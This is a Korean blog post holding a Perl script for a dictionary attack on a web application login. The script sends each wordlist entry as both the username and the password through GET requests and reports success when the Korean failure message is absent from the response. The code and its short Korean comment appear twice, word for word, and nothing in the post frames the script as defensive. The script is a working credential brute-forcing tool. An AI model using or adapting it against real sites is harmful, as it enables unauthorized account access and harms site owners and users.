web login dictionary attack
programming/perl 2009. 12. 3. 18:14 |use LWP::UserAgent;
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
if( $#ARGV != 1 )
{ die "Usage: webbf.pl \"192.168.1.150/login.asp?id=TEST&pw=TEST\" [DICfilename]\n";}
$ARGV[0] =~ /([\w.\/]{1,30}\/\w{1,20}\.\w{1,4}\?)([\w=&]{1,100})=TEST&(\w{1,10})=TEST/;
$URL = $1;
$IDparam = $2;
$PWparam = $3;
$DicfileName = $ARGV[1];
open( fileHandle, $DicfileName ) || die "Cannot open $fileName.\n";
$attnum=1;
while($aLine =<fileHandle>)
{
$aLine =~s/\r//;
$aLine =~s/\n//;
$ID = $aLine;
$PW = $aLine;
$bruteforce = 'http://'.$URL.$IDparam.'='.$ID.'&'.$PWparam.'='.$PW;
$req = HTTP::Request->new(GET => $bruteforce);
$res = $ua->request($req);
print $attnum++.'.--->'.$bruteforce."\n";
if($res->content !~/아이디가/)
{
print "bruteforce success\n\n\n\n";
print $res->content;
die "\n";
}
}
웹 애플리케이션 로그인 dictionary attack공격
한번 요청시마다 일일이 다시 세션을 맺는데 이건 보완해야겠다.
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
if( $#ARGV != 1 )
{ die "Usage: webbf.pl \"192.168.1.150/login.asp?id=TEST&pw=TEST\" [DICfilename]\n";}
$ARGV[0] =~ /([\w.\/]{1,30}\/\w{1,20}\.\w{1,4}\?)([\w=&]{1,100})=TEST&(\w{1,10})=TEST/;
$URL = $1;
$IDparam = $2;
$PWparam = $3;
$DicfileName = $ARGV[1];
open( fileHandle, $DicfileName ) || die "Cannot open $fileName.\n";
$attnum=1;
while($aLine =<fileHandle>)
{
$aLine =~s/\r//;
$aLine =~s/\n//;
$ID = $aLine;
$PW = $aLine;
$bruteforce = 'http://'.$URL.$IDparam.'='.$ID.'&'.$PWparam.'='.$PW;
$req = HTTP::Request->new(GET => $bruteforce);
$res = $ua->request($req);
print $attnum++.'.--->'.$bruteforce."\n";
if($res->content !~/아이디가/)
{
print "bruteforce success\n\n\n\n";
print $res->content;
die "\n";
}
}
웹 애플리케이션 로그인 dictionary attack공격
한번 요청시마다 일일이 다시 세션을 맺는데 이건 보완해야겠다.
'programming > perl' 카테고리의 다른 글
웹페이지 긁어오기 예제 (0) | 2010.04.09 |
---|---|
HTTP 파일업로드(Perl) (0) | 2009.12.30 |
HTTP요청 스크립트(ActivePerl) form-data (0) | 2009.11.19 |
apache log shooter(GET) (0) | 2009.10.11 |
WireShark HTTP파싱 스크립트 (0) | 2009.09.30 |